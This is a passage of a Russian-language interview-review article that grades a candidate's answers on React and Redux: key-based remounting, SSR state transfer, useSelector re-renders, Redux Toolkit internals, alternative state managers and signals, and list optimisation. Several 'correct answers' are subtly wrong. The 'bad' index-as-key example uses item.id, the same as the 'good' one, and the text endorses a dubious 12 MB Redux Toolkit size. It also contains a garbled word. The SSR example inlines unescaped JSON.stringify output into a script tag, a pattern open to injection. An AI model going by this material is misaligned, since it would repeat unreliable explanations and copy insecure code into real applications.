'change': SyntheticInputEvent,
'focus': SyntheticFocusEvent,
'scroll': SyntheticUIEvent,
// ... ещё десятков типов
};
3. Пул событий (до React 17):
// React 16 переиспользовал объекты событий для экономии памяти
const eventPool = [];
function getPooledEvent(dispatchConfig, nativeEvent) {
if (eventPool.length > 0) {
const event = eventPool.pop();
// Переинициализация объекта
event.dispatchConfig = dispatchConfig;
event.nativeEvent = nativeEvent;
return event;
}
return new SyntheticEvent(dispatchConfig, nativeEvent);
}
function releaseEvent(event) {
// Обнуление и возврат в пул
event.dispatchConfig = null;
event.nativeEvent = null;
eventPool.push(event);
}
Влияние на размер бандла:
React (ядро): ~4 kB
React DOM: ~35 kB (включая SyntheticEvent)
- Система событий: ~8-10 kB
- Рендеринг: ~15 kB
- Reconciliation: ~10 kB
- Прочее: ~2 kB
Современные альтернативы:
С появлением React 17+ и фокусом на уменьшение размера:
// React 17+ убрал пул событий — код стал проще
// React 18+ добавил Automatic Batching — меньше кода для обработки
// Альтернативы с меньшим размером:
// - Preact: ~3 kB (совместим с React API)
// - Solid.js: ~7 kB (без Virtual DOM)
// - Svelte: компилятор, нет runtime
Итог:
Синтетические события увеличивают размер React из-за:
- Кода нормализации для кроссбраузерности
- Поддержки множества типов событий
- Интеграции с Fiber и приоритетами
- Механизма делегирования
Это осознанный компромисс: увеличение размера runtime ради единообразия и удобства разработки.
Вопрос 30. Можно ли использовать key в React не только в списках, а в произвольных компонентах, и для чего это может быть полезно?
Таймкод: 00:54:19
Ответ собеседника: Правильный. Да, key можно использовать не только в списках. Использовал на практике для принудительного перемонтирования компонента при изменении ключа — это вызывает полный ре-рендер и пересоздание состояния компонента.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.
Как работает key:
key — это идентификатор, который React использует для определения того, какой элемент изменился, был добавлен или удалён. При изменении key React уничтожает старый компонент и создаёт новый.
Использование key вне списков — принудительное перемонтирование:
1. Сброс состояния компонента:
function Form() {
const [formKey, setFormKey] = useState(0);
const handleReset = () => {
setFormKey(prev => prev + 1); // Перемонтирует FormContent
};
return (
<div>
<FormContent key={formKey} />
<button onClick={handleReset}>Reset Form</button>
</div>
);
}
function FormContent() {
const [name, setName] = useState('');
const [email, setEmail] = useState('');
// При изменении key всё состояние сбрасывается
return (
<form>
<input value={name} onChange={e => setName(e.target.value)} />
<input value={email} onChange={e => setEmail(e.target.value)} />
</form>
);
}
2. Переключение между разными экземплярами:
function UserProfile({ userId }) {
return (
<div>
{/* При смене userId компонент перемонтируется */}
<ProfileHeader key={userId} userId={userId} />
<ProfilePosts key={userId} userId={userId} />
</div>
);
}
// Без key React мог бы переиспользовать компонент и показать старые данные
3. Сброс анимаций:
function AnimatedComponent() {
const [animationKey, setAnimationKey] = useState(0);
const triggerAnimation = () => {
setAnimationKey(prev => prev + 1);
};
return (
<div
key={animationKey}
className="animate-fade-in"
onAnimationEnd={triggerAnimation}
>
Content
</div>
);
}
4. Сброс сторонних библиотек:
function Chart({ data }) {
const [chartKey, setChartKey] = useState(0);
useEffect(() => {
// При смене данных пересоздаём график
setChartKey(prev => prev + 1);
}, [data]);
return (
<ChartComponent
key={chartKey}
data={data}
/>
);
}
Практические примеры:
1. Переключение вкладок с сохранением состояния:
function TabContainer() {
const [activeTab, setActiveTab] = useState('profile');
return (
<div>
<button onClick={() => setActiveTab('profile')}>Profile</button>
<button onClick={() => setActiveTab('settings')}>Settings</button>
{activeTab === 'profile' && <ProfilePanel />}
{activeTab === 'settings' && <SettingsPanel />}
</div>
);
}
2. Переключение вкладок с сбросом состояния:
function TabContainer() {
const [activeTab, setActiveTab] = useState('profile');
return (
<div>
<button onClick={() => setActiveTab('profile')}>Profile</button>
<button onClick={() => setActiveTab('settings')}>Settings</button>
{/* При смене вкладки компонент перемонтируется */}
{activeTab === 'profile' && <ProfilePanel key="profile" />}
{activeTab === 'settings' && <SettingsPanel key="settings" />}
</div>
);
}
3. Сброс формы при смене сущности:
function EditForm({ entityId }) {
const [name, setName] = useState('');
const [description, setDescription] = useState('');
useEffect(() => {
// Загрузка данных сущности
loadEntity(entityId).then(data => {
setName(data.name);
setDescription(data.description);
});
}, [entityId]);
return (
<form>
<input value={name} onChange={e => setName(e.target.value)} />
<textarea value={description} onChange={e => setDescription(e.target.value)} />
</form>
);
}
// Использование
function App() {
const [selectedId, setSelectedId] = useState(1);
return (
<div>
<select onChange={e => setSelectedId(Number(e.target.value))}>
<option value={1}>Entity 1</option>
<option value={2}>Entity 2</option>
</select>
{/* При смене ID форма перемонтируется */}
<EditForm key={selectedId} entityId={selectedId} />
</div>
);
}
Когда использовать key для перемонтирования:
| Сценарий | Решение |
|---|---|
| Сброс формы | key={formId} |
| Смена сущности в форме | key={entityId} |
| Перезапуск анимации | key={animationCount} |
| Сброс сторонней библиотеки | key={dataVersion} |
| Сброс useEffect | key={dependency} |
Предостережения:
// Не используйте key без необходимости
// Это приводит к полному перемонтированию — дорого!
function BadExample({ items }) {
return items.map(item => (
// Плохо: индекс как key в списке с изменяемым порядком
<Item key={item.id} {...item} />
));
}
function GoodExample({ items }) {
return items.map(item => (
// Хорошо: стабильный уникальный идентификатор
<Item key={item.id} {...item} />
));
}
Итог:
key можно использовать в любом компоненте, не только в списках. Основное применение — принудительное перемонтирование для сброса состояния, перезапуска анимаций или сброса интеграций со сторонними библиотеками. Это мощный инструмент, но его следует использовать осознанно, так как перемонтирование — дорогая операция.
Вопрос 31. Можно ли использовать Redux на сервере при SSR и как происходит передача состояния с сервера на клиент?
Таймкод: 00:55:04
Ответ собеседника: Неполный. Да, Redux можно использовать на сервере при SSR. Предположил, что при Next.js с getServerSideProps данные загружаются на сервере, затем состояние передаётся на клиент в виде JSON. Упомянул гидратацию для синхронизации состояния между сервером и клиентом, но не объяснил подробно механизм передачи начального состояния.
Правильный ответ:
Redux можно использовать на сервере при SSR. Процесс включает создание store на сервере, рендеринг с этим store и передачу состояния клиенту для гидратации.
Полный цикл SSR с Redux:
1. Запрос → Сервер
2. Создание Redux store на сервере
3. Загрузка данных в store
4. Рендеринг React с заполненным store
5. Сериализация store в JSON
6. Встраивание JSON в HTML
7. Отправка HTML клиенту
8. Клиент создаёт store с начальным состоянием из JSON
9. Гидратация React
Реализация на сервере:
// server.js
import express from 'express';
import { createStore } from './store';
import { renderToString } from 'react-dom/server';
import { Provider } from 'react-redux';
import App from './App';
const app = express();
app.get('*', async (req, res) => {
// 1. Создаём новый store для каждого запроса
const store = createStore();
// 2. Загружаем данные на сервере
await store.dispatch(fetchUser());
await store.dispatch(fetchPosts());
// 3. Рендерим приложение с заполненным store
const html = renderToString(
<Provider store={store}>
<App />
</Provider>
);
// 4. Получаем состояние для передачи клиенту
const preloadedState = store.getState();
// 5. Отправляем HTML с встроенным состоянием
res.send(`
<!DOCTYPE html>
<html>
<head>
<title>SSR App</title>
</head>
<body>
<div id="root">${html}</div>
<!-- Передаём состояние клиенту -->
<script>
window.__PRELOADED_STATE__ = ${JSON.stringify(preloadedState)};
</script>
<script src="/bundle.js"></script>
</body>
</html>
`);
});
Реализация на клиенте:
// client.js
import { createStore } from './store';
import { hydrate } from 'react-dom';
import { Provider } from 'react-redux';
import App from './App';
// 1. Получаем состояние из глобальной переменной
const preloadedState = window.__PRELOADED_STATE__;
// 2. Удаляем глобальную переменную (безопасность)
delete window.__PRELOADED_STATE__;
// 3. Создаём store с начальным состоянием
const store = createStore(preloadedState);
// 4. Гидратируем приложение
hydrate(
<Provider store={store}>
<App />
</Provider>,
document.getElementById('root')
);
Создание store с поддержкой SSR:
// store.js
import { configureStore } from '@reduxjs/toolkit';
import userReducer from './userSlice';
import postsReducer from './postsSlice';
export function createStore(preloadedState) {
return configureStore({
reducer: {
user: userReducer,
posts: postsReducer,
},
preloadedState, // Начальное состояние с сервера
});
}
Безопасность при сериализации:
// Проблема: JSON.stringify не обрабатывает специальные значения
const state = {
date: new Date(), // → строка
undefined: undefined, // → пропадает
function: () => {}, // → пропадает
regex: /test/, // → {}
NaN: NaN, // → null
Infinity: Infinity, // → null
};
// Решение: используем безопасную сериализацию
function serializeState(state) {
return JSON.stringify(state, (key, value) => {
if (value instanceof Date) {
return { __type: 'Date', value: value.toISOString() };
}
return value;
});
}
function deserializeState(json) {
return JSON.parse(json, (key, value) => {
if (value && value.__type === 'Date') {
return new Date(value.value);
}
return value;
});
}
// Или используем библиотеки
import { serialize, deserialize } from 'superjson';
Next.js пример:
// pages/index.js
import { wrapper } from '../store';
export const getServerSideProps = wrapper.getServerSideProps(
(store) => async (context) => {
// Загружаем данные на сервере
await store.dispatch(fetchUser());
await store.dispatch(fetchPosts());
return {
props: {},
};
}
);
function HomePage() {
const posts = useSelector(state => state.posts.items);
return (
<div>
{posts.map(post => (
<Post key={post.id} post={post} />
))}
</div>
);
}
export default wrapper.withRedux(HomePage);
Гидратация (Hydration):
Серверный HTML:
<div id="root">
<div class="post">
<h2>Title</h2>
<p>Content</p>
</div>
</div>
Гидратация на клиенте:
1. React берёт существующий DOM
2. Сравнивает с виртуальным DOM
3. Привязывает обработчики событий
4. Делает компоненты интерактивными
5. Store инициализируется с серверным состоянием
Проблемы и решения:
1. Несоответствие серверного и клиентского HTML:
// Ошибка: разные данные на сервере и клиенте
function Component() {
const [random] = useState(Math.random()); // Разное на сервере и клиенте!
return <div>{random}</div>;
}
// Решение: используйте данные только из store
function Component() {
const data = useSelector(state => state.data); // Одинаковое везде
return <div>{data}</div>;
}
2. Утечка данных:
// Не передавайте чувствительные данные в window.__PRELOADED_STATE__
const safeState = {
posts: store.getState().posts,
// Не включаем: user.token, user.password и т.д.
};
res.send(`
<script>
window.__PRELOADED_STATE__ = ${JSON.stringify(safeState)};
</script>
`);
Итог:
SSR с Redux:
- Store создаётся на сервере для каждого запроса
- Данные загружаются на сервере и сохраняются в store
- Состояние сериализуется в JSON и встраивается в HTML
- Клиент создаёт store с начальным состоянием из JSON
- React гидрирует серверный HTML, делая его интерактивным
Вопрос 32. В каких случаях useSelector вызывает ре-рендер компонента в Redux Toolkit — при изменении только выбранного кусочка стейта или при любом изменении в слайсе?
Таймкод: 00:58:01
Ответ собеседника: Неполный. Предположил, что ре-рендер вызывается только при изменении того кусочка слайса, на который подписан селектор, а не при любом изменении в слайсе. Не упомянул, что useSelector использует строгое сравнение по ссылке (===) и что возврат нового объекта/массива из селектора всегда вызовет ре-рендер.
Правильный ответ:
useSelector вызывает ре-рендер, когда результат селектора изменился по ссылке (strict equality ===). Это ключевой момент, который часто приводит к неожиданным ре-рендерам.
Как работает useSelector:
// useSelector выполняет селектор после каждого dispatch
// Сравнивает новый результат с предыдущим через ===
// Если ссылки разные — ре-рендер
Правильное использование — примитивные значения:
// Хорошо: возвращаем примитив — сравнение по значению
const count = useSelector(state => state.counter.value);
const name = useSelector(state => state.user.name);
// Примитивы сравниваются по значению:
// 5 === 5 → true (нет ре-рендера)
// 'John' === 'Jane' → false (ре-рендер)
Проблема — возврат новых объектов/массивов:
// Плохо: создаём новый объект при каждом вызове
const user = useSelector(state => ({
name: state.user.name,
email: state.user.email,
}));
// Каждый раз новый объект {} === {} → false → ре-рендер!
// Плохо: создаём новый массив
const items = useSelector(state => state.cart.items.filter(i => i.active));
// Каждый раз новый массив [] === [] → false → ре-рендер!
Решения:
1. Несколько useSelector вместо одного:
// Вместо одного селектора с объектом
const name = useSelector(state => state.user.name);
const email = useSelector(state => state.user.email);
// Ре-рендер только при изменении name или email по отдельности
2. Мемоизированные селекторы с reselect:
import { createSelector } from '@reduxjs/toolkit';
// Базовые селекторы
const selectCartItems = state => state.cart.items;
// Мемоизированный селектор
const selectActiveItems = createSelector(
[selectCartItems],
(items) => items.filter(item => item.active)
);
// В компоненте
const activeItems = useSelector(selectActiveItems);
// Новый массив создаётся только если items изменились
3. Сравнение через shallowEqual:
import { shallowEqual, useSelector } from 'react-redux';
// Для объектов и массивов
const user = useSelector(
state => ({
name: state.user.name,
email: state.user.email,
}),
shallowEqual // Поверхностное сравнение
);
Пример с reselect:
import { createSelector } from '@reduxjs/toolkit';
// Базовые селекторы
const selectUsers = state => state.users.items;
const selectFilter = state => state.users.filter;
// Мемоизированный селектор
const selectFilteredUsers = createSelector(
[selectUsers, selectFilter],
(users, filter) => {
console.log('Computing filtered users');
return users.filter(user =>
user.name.toLowerCase().includes(filter.toLowerCase())
);
}
);
// В компоненте
function UserList() {
const filteredUsers = useSelector(selectFilteredUsers);
return (
<ul>
{filteredUsers.map(user => (
<li key={user.id}>{user.name}</li>
))}
</ul>
);
}
Как работает мемоизация в reselect:
Вызов 1: users=[...], filter="john"
→ Вычисляем результат
→ Сохраняем результат и аргументы
Вызов 2: users=[...], filter="john" (те же аргументы)
→ Аргументы не изменились (===)
→ Возвращаем сохранённый результат
→ Ре-рендера нет!
Вызов 3: users=[...], filter="jane" (filter изменился)
→ Аргументы изменились
→ Пересчитываем результат
→ Новый результат → возможен ре-рендер
shallowEqual vs strict equality:
// strict equality (===) — по умолчанию в useSelector
{ a: 1 } === { a: 1 } // false — разные ссылки
[1, 2] === [1, 2] // false — разные ссылки
// shallowEqual — поверхностное сравнение
shallowEqual({ a: 1 }, { a: 1 }) // true — значения равны
shallowEqual([1, 2], [1, 2]) // true — значения равны
shallowEqual(
{ a: { b: 1 } },
{ a: { b: 1 } }
) // false — вложенные объекты сравниваются по ссылке!
Практические рекомендации:
// 1. Примитивы — просто useSelector
const count = useSelector(state => state.counter.value);
// 2. Объекты — shallowEqual или мемоизация
const user = useSelector(state => state.user.profile, shallowEqual);
// 3. Вычисляемые данные — createSelector
const totalPrice = useSelector(selectTotalPrice);
// 4. Массивы — createSelector с фильтрацией/маппингом
const activeUsers = useSelector(selectActiveUsers);
// 5. Вложенные объекты — нормализация состояния
// Храните данные плоско, а не вложенно
Итог:
useSelector вызывает ре-рендер, когда результат селектора изменился по ссылке (===). Для предотвращения ненужных ре-рендеров:
- Возвращайте примитивы из селекторов
- Используйте
createSelectorдля мемоизации - Используйте
shallowEqualдля объектов/массивов - Нормализуйте состояние в store
Вопрос 33. Что используется под капотом React — контекст, Immer и другие технологии?
Таймкод: 01:01:13
Ответ собеседника: Правильный. Под капотом React используется контекст для передачи данных и Immer для возможности мутировать данных в Redux в иммутабельном стиле. Redux Toolkit включает множество оптимизаций, но из-за этого имеет большой размер — около 12 МБ.
Правильный ответ:
Ответ собеседника частично верен, но требует уточнений. 12 МБ — это размер Redux Toolkit в development-сборке без минификации и gzip. Production-сборка значительно меньше.
Redux Toolkit под капотом:
1. Immer — иммутабельные обновления:
// Без Immer — ручное копирование
const newState = {
...state,
users: {
...state.users,
[userId]: {
...state.users[userId],
name: newName,
},
},
};
// С Immer — мутации внутри reducer
const usersSlice = createSlice({
name: 'users',
initialState: { entities: {} },
reducers: {
updateName(state, action) {
// Immer превращает мутацию в иммутабельное обновление
state.entities[action.payload.id].name = action.payload.name;
},
},
});
Как работает Immer:
// Упрощённая реализация produce
function produce(baseState, recipe) {
// Создаём прокси-объект
const draft = createProxy(baseState);
// Вызываем функцию-рецепт с прокси
recipe(draft);
// Создаём новый объект с изменениями
return createNextState(baseState, draft);
}
2. createEntityAdapter — нормализация данных:
import { createEntityAdapter } from '@reduxjs/toolkit';
const usersAdapter = createEntityAdapter({
selectId: user => user.id,
sortComparer: (a, b) => a.name.localeCompare(b.name),
});
// Генерирует селекторы
const {
selectAll: selectAllUsers,
selectById: selectUserById,
selectIds: selectUserIds,
} = usersAdapter.getSelectors(state => state.users);
// Генерирует редюсеры
const usersSlice = createSlice({
name: 'users',
initialState: usersAdapter.getInitialState(),
reducers: {
addUser: usersAdapter.addOne,
addUsers: usersAdapter.addMany,
updateUser: usersAdapter.updateOne,
removeUser: usersAdapter.removeOne,
upsertUser: usersAdapter.upsertOne,
},
});
3. createAsyncThunk — асинхронные операции:
import { createAsyncThunk } from '@reduxjs/toolkit';
const fetchUser = createAsyncThunk(
'users/fetchUser',
async (userId, { rejectWithValue }) => {
try {
const response = await fetch(`/api/users/${userId}`);
if (!response.ok) throw new Error('Failed');
return await response.json();
} catch (error) {
return rejectWithValue(error.message);
}
},
{
condition: (userId, { getState }) => {
// Предотвращаем повторные запросы
const { users } = getState();
return !users.loading;
},
}
);
// Автоматически создаёт action creators:
// fetchUser.pending
// fetchUser.fulfilled
// fetchUser.rejected
4. RTK Query — кэширование данных:
import { createApi, fetchBaseQuery } from '@reduxjs/toolkit/query/react';
const apiSlice = createApi({
reducerPath: 'api',
baseQuery: fetchBaseQuery({ baseUrl: '/api' }),
tagTypes: ['User', 'Post'],
endpoints: builder => ({
getUsers: builder.query({
query: () => '/users',
providesTags: ['User'],
}),
getUser: builder.query({
query: id => `/users/${id}`,
providesTags: (result, error, id) => [{ type: 'User', id }],
}),
updateUser: builder.mutation({
query: ({ id, ...patch }) => ({
url: `/users/${id}`,
method: 'PATCH',
body: patch,
}),
invalidatesTags: (result, error, { id }) => [{ type: 'User', id }],
}),
}),
});
export const {
useGetUsersQuery,
useGetUserQuery,
useUpdateUserMutation,
} = apiSlice;
Размер бандла Redux Toolkit:
Redux Toolkit:
- Development (без минификации): ~12 MB исходный код
- Development (minified): ~400 kB
- Production (minified + gzipped): ~10-15 kB
Зависимости:
- Immer: ~5 kB gzipped
- reselect: ~2 kB gzipped
React под капотом:
1. Fiber Architecture:
// Fiber — узел виртуального DOM с дополнительной информацией
const fiberNode = {
type: 'div',
props: { className: 'container' },
child: Fiber, // Первый дочерний
sibling: Fiber, // Следующий братский
return: Fiber, // Родительский
alternate: Fiber, // Предыдущая версия (для diffing)
effectTag: 'PLACEMENT' | 'UPDATE' | 'DELETION',
};
2. Reconciliation:
// React сравнивает деревья
function reconcile(oldFiber, newFiber) {
// 1. Разные типы → полная замена
if (oldFiber.type !== newFiber.type) {
return createNewTree(newFiber);
}
// 2. Тот же тип → обновление пропсов
return updateProps(oldFiber, newFiber.props);
}
3. Concurrent Mode:
// React может прервать рендеринг
import { startTransition } from 'react';
// Низкий приоритет — может быть прерван
startTransition(() => {
setResults(expensiveSearch(query));
});
// Высокий приоритет — выполняется сразу
setInputValue(query);
Итог:
Redux Toolkit включает:
- Immer для иммутабельных обновлений
- createEntityAdapter для нормализации
- createAsyncThunk для асинхронных операций
- RTK Query для кэширования данных
React включает:
- Fiber Architecture для прерываемого рендеринга
- Reconciliation для эффективного обновления DOM
- Concurrent Mode для приоритизации обновлений
Вопрос 34. Какие альтернативные менеджеры состояния помимо Redux существуют, и что такое сигналы (signals)?
Таймкод: 01:02:14
Ответ собеседника: Неполный. Работал в основном с Redux. Из атомарных менеджеров немного знаком с Recoil. Про сигналы (signals) как новомодный подход на основе реактивности не слышал, знает только о signals в Angular.
Правильный ответ:
Существует множество альтернатив Redux с разными подходами к управлению состоянием.
Альтернативные менеджеры состояния:
1. Zustand — минималистичный:
import { create } from 'zustand';
const useStore = create((set, get) => ({
count: 0,
user: null,
increment: () => set(state => ({ count: state.count + 1 })),
decrement: () => set(state => ({ count: state.count - 1 })),
fetchUser: async (id) => {
const response = await fetch(`/api/users/${id}`);
const user = await response.json();
set({ user });
},
// Вычисляемые значения
get doubleCount() {
return get().count * 2;
},
}));
// Использование — просто хук, без Provider
function Counter() {
const count = useStore(state => state.count);
const increment = useStore(state => state.increment);
return <button onClick={increment}>{count}</button>;
}
2. Jotai — атомарный:
import { atom, useAtom } from 'jotai';
// Атом — единица состояния
const countAtom = atom(0);
const userAtom = atom(null);
// Производный атом — вычисляется автоматически
const doubleCountAtom = atom((get) => get(countAtom) * 2);
// Асинхронный атом
const userAsyncAtom = atom(async (get) => {
const response = await fetch('/api/user');
return response.json();
});
// Использование
function Counter() {
const [count, setCount] = useAtom(countAtom);
const [doubleCount] = useAtom(doubleCountAtom);
return (
<div>
<button onClick={() => setCount(c => c + 1)}>{count}</button>
<span>Double: {doubleCount}</span>
</div>
);
}
3. Recoil — атомарный от Facebook:
import { atom, selector, useRecoilState, useRecoilValue } from 'recoil';
const countState = atom({
key: 'count',
default: 0,
});
const doubleCountState = selector({
key: 'doubleCount',
get: ({ get }) => get(countState) * 2,
});
const userState = atom({
key: 'user',
default: selector({
key: 'user/fetch',
get: async () => {
const response = await fetch('/api/user');
return response.json();
},
}),
});
function Counter() {
const [count, setCount] = useRecoilState(countState);
const doubleCount = useRecoilValue(doubleCountState);
return <button onClick={() => setCount(c => c + 1)}>{count}</button>;
}
4. MobX — реактивный:
import { makeAutoObservable } from 'mobx';
import { observer } from 'mobx-react-lite';
class CounterStore {
count = 0;
constructor() {
makeAutoObservable(this);
}
increment() {
this.count++;
}
get doubleCount() {
return this.count * 2;
}
}
const store = new CounterStore();
// Компонент автоматически ре-рендерится при изменении
const Counter = observer(() => (
<button onClick={() => store.increment()}>
{store.count} (double: {store.doubleCount})
</button>
));
5. Valtio — прокси- baseado:
import { proxy, useSnapshot } from 'valtio';
const state = proxy({
count: 0,
user: null,
});
// Мутации напрямую
function increment() {
state.count++;
}
function Counter() {
const snap = useSnapshot(state);
return <button onClick={increment}>{snap.count}</button>;
}
Сигналы (Signals):
Сигналы — реактивный примитив, который отслеживает зависимости автоматически.
Концепция:
Signal (состояние) → Хранит значение, отслеживает кто читает
Computed (вычисляемое) → Автоматически пересчитывается при изменении зависимостей
Effect (эффект) → Автоматически запускается при изменении зависимостей
Реализация сигналов (TC39 Proposal):
import { Signal } from 'signal-polyfill';
// Создаём сигнал
const count = new Signal.State(0);
// Читаем значение (отслеживается)
console.log(count.get()); // 0
// Создаём вычисляемое значение
const doubleCount = new Signal.Computed(() => count.get() * 2);
console.log(doubleCount.get()); // 0
// Обновляем сигнал
count.set(5);
// Вычисляемое значение обновилось автоматически
console.log(doubleCount.get()); // 10
// Effect — побочный эффект
const effect = new Signal.subtle.Watcher(() => {
console.log('Count changed:', count.get());
});
effect.watch(count);
Сигналы в Solid.js:
import { createSignal, createEffect, createMemo } from 'solid-js';
function Counter() {
// Сигнал — пара getter/setter
const [count, setCount] = createSignal(0);
// Вычисляемое значение — автоматически пересчитывается
const doubleCount = createMemo(() => count() * 2);
// Эффект — запускается при изменении
createEffect(() => {
console.log('Count changed:', count());
document.title = `Count: ${count()}`;
});
return (
<button onClick={() => setCount(count() + 1)}>
{count()} (double: {doubleCount()})
</button>
);
}
Сигналы в Preact:
import { signal, computed, effect } from '@preact/signals';
// Сигнал
const count = signal(0);
// Вычисляемое
const doubleCount = computed(() => count.value * 2);
// Эффект
effect(() => {
console.log('Count:', count.value);
});
// Использование в компоненте
function Counter() {
return (
<button onClick={() => count.value++}>
{count.value} (double: {doubleCount.value})
</button>
);
}
Сравнение подходов:
| Подход | Модель | Ре-рендер | Сложность | Размер |
|---|---|---|---|---|
| Redux | Централизованное хранилище | Ручная оптимизация | Высокая | ~10 kB |
| Zustand | Централизованное | Автоматическая | Низкая | ~1 kB |
| Jotai | Атомарная | Автоматическая | Средняя | ~3 kB |
| Recoil | Атомарная | Автоматическая | Средняя | ~15 kB |
| MobX | Реактивная | Автоматическая | Средняя | ~16 kB |
| Valtio | Прокси | Автоматическая | Низкая | ~1 kB |
| Signals | Реактивная | Автоматическая | Низкая | ~2 kB |
Преимуществ сигналов:
// 1. Автоматическое отслеживание зависимостей
const firstName = signal('John');
const lastName = signal('Doe');
const fullName = computed(() => `${firstName.value} ${lastName.value}`);
// fullName автоматически обновится при изменении firstName или lastName
// 2. Гранулярные обновления — обновляется только то, что использует сигнал
// В отличие от React, где обновляется весь компонент
// 3. Нет необходимости в мемоизации
// Вычисляемые значения кэшируются автоматически
Итог:
Сигналы — это реактивный примитив, который:
- Автоматически отслеживает зависимости
- Обновляет только то, что использует изменившееся значение
- Не требует ручной мемоизации
- Может использоваться вне UI-фреймворков
TC39 Proposal для нативных сигналов находится на Stage 1. Solid.js, Preact, Angular уже используют сигналы.
Вопрос 35. Задача: реализовать список элементов в React так, чтобы при удалении или добавлении элемента перерисовывались только изменённые элементы, а не весь список.
Таймкод: 01:03:49
Ответ собеседника: Неполный. Предложил использовать уникальный ключ вместо индекса массива. Понял необходимость мемонизации через React.memo и useCallback для предотвращения пересоздания функций и ре-рендеров. В процессе решения допустил дублирование кода и не завершил до конца, но двигался в правильном направлении.
Правильный ответ:
Для оптимизации списка нужно решить несколько проблем: правильные ключи, мемоизация компонентов и стабильные ссылки на функции.
Полное решение:
import React, { useState, useCallback, memo } from 'react';
// 1. Мемоизированный компонент элемента списка
const ListItem = memo(({ item, onRemove, onUpdate }) => {
console.log(`Rendering item: ${item.id}`);
return (
<div className="list-item">
<input
value={item.text}
onChange={(e) => onUpdate(item.id, e.target.value)}
/>
<button onClick={() => onRemove(item.id)}>Remove</button>
</div>
);
});
// Имя для отладки
ListItem.displayName = 'ListItem';
// 2. Основной компонент списка
function OptimizedList() {
const [items, setItems] = useState([
{ id: 1, text: 'Item 1' },
{ id: 2, text: 'Item 2' },
{ id: 3, text: 'Item 3' },
]);
// 3. useCallback для стабильных ссылок на функции
const handleRemove = useCallback((id) => {
setItems(prev => prev.filter(item => item.id !== id));
}, []);
const handleUpdate = useCallback((id, newText) => {
setItems(prev => prev.map(item =>
item.id === id ? { ...item, text: newText } : item
));
}, []);
const handleAdd = useCallback(() => {
const newId = Math.max(...items.map(i => i.id), 0) + 1;
setItems(prev => [...prev, { id: newId, text: `Item ${newId}` }]);
}, [items]);
return (
<div>
<button onClick={handleAdd}>Add Item</button>
<div className="list">
{items.map(item => (
// 4. Уникальный ключ — не индекс!
<ListItem
key={item.id}
item={item}
onRemove={handleRemove}
onUpdate={handleUpdate}
/>
))}
</div>
</div>
);
}
Что происходит при удалении:
Список: [1, 2, 3, 4, 5]
Удаляем: 3
Новый: [1, 2, 4, 5]
React diffing:
- key=1: тот же элемент → не перерисовываем
- key=2: тот же элемент → не перерисовываем
- key=3: удалён → удаляем из DOM
- key=4: тот же элемент → не перерисовываем
- key=5: тот же элемент → не перерисовываем
Результат: перерисован только удалённый элемент (key=3)
Проблемы и решения:
Проблема 1: Индекс как key:
// Плохо: индекс как key
{items.map((item, index) => (
<ListItem key={index} item={item} />
))}
// При удалении элемента все последние элементы перерисовываются!
// Хорошо: уникальный id как key
{items.map(item => (
<ListItem key={item.id} item={item} />
))}
Проблема 2: Новые функции при каждом рендере:
// Плохо: новая функция при каждом рендере
{items.map(item => (
<ListItem
key={item.id}
item={item}
onRemove={(id) => setItems(items.filter(i => i.id !== id))}
// Каждый рендер создаёт новую функцию → React.memo не помогает
/>
))}
// Хорошо: useCallback сохраняет ссылку
const handleRemove = useCallback((id) => {
setItems(prev => prev.filter(item => item.id !== id));
}, []);
Проблема 3: Новые объекты при каждом рендере:
// Плохо: новый объект в пропсах
<ListItem
key={item.id}
item={{ ...item, extra: true }} // Новый объект каждый раз!
/>
// Хорошо: стабильная ссылка
<ListItem
key={item.id}
item={item} // Та же ссылка, если item не изменился
/>
Продвинутая оптимизация с виртуализацией:
Для очень больших списков (тысячи элементов) используется виртуализация:
import { useVirtualizer } from '@tanstack/react-virtual';
function VirtualizedList({ items }) {
const parentRef = useRef(null);
const virtualizer = useVirtualizer({
count: items.length,
getScrollElement: () => parentRef.current,
estimateSize: () => 50, // Ожидаемая высота элемента
overscan: 5, // Рендерим на 5 элементов больше для плавной прокрутки
});
return (
<div ref={parentRef} style={{ height: '400px', overflow: 'auto' }}>
<div
style={{
height: `${virtualizer.getTotalSize()}px`,
position: 'relative',
}}
>
{virtualizer.getVirtualItems().map(virtualItem => (
<div
key={items[virtualItem.index].id}
style={{
position: 'absolute',
top: 0,
left: 0,
width: '100%',
height: `${virtualItem.size}px`,
transform: `translateY(${virtualItem.start}px)`,
}}
>
<ListItem item={items[virtualItem.index]} />
</div>
))}
</div>
</div>
);
}
Чек-лист оптимизации списка:
✅ Использовать уникальный key (не индекс)
✅ Оборачивать элементы в React.memo
✅ Использовать useCallback для обработчиков
✅ Использовать useMemo для вычисляемых данных
✅ Избегать создания объектов/массивов в render
✅ Для больших списков — виртуализация
✅ Использовать профайлер для проверки
Проверка с React DevTools:
// Включаем Highlight updates в React DevTools
// При изменении списка подсвечиваются только перерисованные компоненты
// Или добавляем лог в компонент
const ListItem = memo(({ item }) => {
console.log(`Render: ${item.id}`);
return <div>{item.text}</div>;
});
Итог:
Для оптимизации списка:
- Уникальный key — не индекс, а стабильный идентификатор
- React.memo — предотвращает ре-рендер при неизменных пропсах
- useCallback — стабильные ссылки на функции
- useMemo — мемоизация вычислений
- Виртуализация — для списков с тысячами элементов
